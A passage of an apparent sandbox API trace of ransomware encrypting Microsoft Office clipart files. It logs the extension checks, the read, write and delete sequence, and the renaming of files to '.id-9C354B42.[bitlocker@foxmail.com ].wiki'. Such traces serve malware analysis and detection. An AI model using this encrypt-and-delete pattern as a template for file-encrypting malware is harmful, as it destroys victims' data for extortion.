[0189.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString=".1cd") returned 4 [0189.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString=".jpg") returned 4 [0189.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString=".doc") returned 4 [0189.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString=".docx") returned 5 [0189.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.335] lstrlenW (lpString=".pdf") returned 4 [0189.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString=".xls") returned 4 [0189.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.335] lstrlenW (lpString=".xlsx") returned 5 [0189.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.335] lstrlenW (lpString=".ppt") returned 4 [0189.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString=".zip") returned 4 [0189.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.336] lstrlenW (lpString=".rar") returned 4 [0189.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.336] lstrlenW (lpString=".bz2") returned 4 [0189.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.336] lstrlenW (lpString=".7z") returned 3 [0189.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.336] lstrlenW (lpString=".dbf") returned 4 [0189.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.336] lstrlenW (lpString=".1cd") returned 4 [0189.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.336] lstrlenW (lpString=".jpg") returned 4 [0189.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.336] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.336] lstrlenW (lpString="FLAP.WMF") returned 8 [0189.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.337] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2070) returned 1 [0189.337] CloseHandle (hObject=0x1f8) returned 1 [0189.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0189.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.338] GetLastError () returned 0x0 [0189.338] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x816, lpOverlapped=0x0) returned 1 [0189.340] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x820, lpOverlapped=0x0) returned 1 [0189.340] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.341] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0189.341] SetEndOfFile (hFile=0x1f4) returned 1 [0189.341] CloseHandle (hObject=0x1f4) returned 1 [0189.341] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.341] SetEndOfFile (hFile=0x1f8) returned 1 [0189.342] CloseHandle (hObject=0x1f8) returned 1 [0189.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0189.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.342] lstrlenW (lpString=".doc") returned 4 [0189.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.342] lstrlenW (lpString=".docx") returned 5 [0189.342] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0189.342] lstrlenW (lpString=".pdf") returned 4 [0189.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.342] lstrlenW (lpString=".xls") returned 4 [0189.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.342] lstrlenW (lpString=".xlsx") returned 5 [0189.342] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0189.342] lstrlenW (lpString=".ppt") returned 4 [0189.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.342] lstrlenW (lpString=".zip") returned 4 [0189.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.342] lstrlenW (lpString=".rar") returned 4 [0189.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString=".bz2") returned 4 [0189.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString=".7z") returned 3 [0189.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.343] lstrlenW (lpString=".dbf") returned 4 [0189.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.343] lstrlenW (lpString=".1cd") returned 4 [0189.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.343] lstrlenW (lpString=".jpg") returned 4 [0189.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.343] lstrlenW (lpString=".doc") returned 4 [0189.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString=".docx") returned 5 [0189.343] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0189.343] lstrlenW (lpString=".pdf") returned 4 [0189.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.343] lstrlenW (lpString=".xls") returned 4 [0189.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.343] lstrlenW (lpString=".xlsx") returned 5 [0189.343] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0189.343] lstrlenW (lpString=".ppt") returned 4 [0189.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.509] lstrlenW (lpString=".zip") returned 4 [0189.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.509] lstrlenW (lpString=".rar") returned 4 [0189.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.509] lstrlenW (lpString=".bz2") returned 4 [0189.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.509] lstrlenW (lpString=".7z") returned 3 [0189.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.509] lstrlenW (lpString=".dbf") returned 4 [0189.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.509] lstrlenW (lpString=".1cd") returned 4 [0189.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0189.509] lstrlenW (lpString=".jpg") returned 4 [0189.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.509] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.509] lstrlenW (lpString="HH00526_.WMF") returned 12 [0189.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.510] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=13538) returned 1 [0189.510] CloseHandle (hObject=0x1dc) returned 1 [0189.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0189.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.510] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.510] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.511] GetLastError () returned 0x0 [0189.511] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x34e2, lpOverlapped=0x0) returned 1 [0189.623] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0189.624] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.624] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.624] SetEndOfFile (hFile=0x1d8) returned 1 [0189.624] CloseHandle (hObject=0x1d8) returned 1 [0189.625] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.625] SetEndOfFile (hFile=0x1dc) returned 1 [0189.625] CloseHandle (hObject=0x1dc) returned 1 [0189.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0189.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.626] lstrlenW (lpString=".doc") returned 4 [0189.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.626] lstrlenW (lpString=".docx") returned 5 [0189.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.626] lstrlenW (lpString=".pdf") returned 4 [0189.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.626] lstrlenW (lpString=".xls") returned 4 [0189.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.626] lstrlenW (lpString=".xlsx") returned 5 [0189.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.626] lstrlenW (lpString=".ppt") returned 4 [0189.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.626] lstrlenW (lpString=".zip") returned 4 [0189.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.626] lstrlenW (lpString=".rar") returned 4 [0189.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.626] lstrlenW (lpString=".bz2") returned 4 [0189.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.626] lstrlenW (lpString=".7z") returned 3 [0189.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.626] lstrlenW (lpString=".dbf") returned 4 [0189.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString=".1cd") returned 4 [0189.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString=".jpg") returned 4 [0189.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString=".doc") returned 4 [0189.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString=".docx") returned 5 [0189.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.627] lstrlenW (lpString=".pdf") returned 4 [0189.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString=".xls") returned 4 [0189.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.627] lstrlenW (lpString=".xlsx") returned 5 [0189.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.627] lstrlenW (lpString=".ppt") returned 4 [0189.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString=".zip") returned 4 [0189.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.627] lstrlenW (lpString=".rar") returned 4 [0189.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString=".bz2") returned 4 [0189.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.627] lstrlenW (lpString=".7z") returned 3 [0189.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.627] lstrlenW (lpString=".dbf") returned 4 [0189.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.628] lstrlenW (lpString=".1cd") returned 4 [0189.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0189.628] lstrlenW (lpString=".jpg") returned 4 [0189.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.628] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.628] lstrlenW (lpString="HH00602_.WMF") returned 12 [0189.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.628] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1400) returned 1 [0189.628] CloseHandle (hObject=0x1dc) returned 1 [0189.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0189.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.629] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.629] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.629] GetLastError () returned 0x0 [0189.629] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x578, lpOverlapped=0x0) returned 1 [0189.653] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x580, lpOverlapped=0x0) returned 1 [0189.654] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.654] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.654] SetEndOfFile (hFile=0x1d8) returned 1 [0189.654] CloseHandle (hObject=0x1d8) returned 1 [0189.654] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.654] SetEndOfFile (hFile=0x1dc) returned 1 [0189.655] CloseHandle (hObject=0x1dc) returned 1 [0189.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0189.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.655] lstrlenW (lpString=".doc") returned 4 [0189.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.655] lstrlenW (lpString=".docx") returned 5 [0189.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.655] lstrlenW (lpString=".pdf") returned 4 [0189.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString=".xls") returned 4 [0189.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.656] lstrlenW (lpString=".xlsx") returned 5 [0189.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.656] lstrlenW (lpString=".ppt") returned 4 [0189.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString=".zip") returned 4 [0189.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.656] lstrlenW (lpString=".rar") returned 4 [0189.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString=".bz2") returned 4 [0189.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString=".7z") returned 3 [0189.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString=".dbf") returned 4 [0189.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString=".1cd") returned 4 [0189.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString=".jpg") returned 4 [0189.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString="C:\\Program 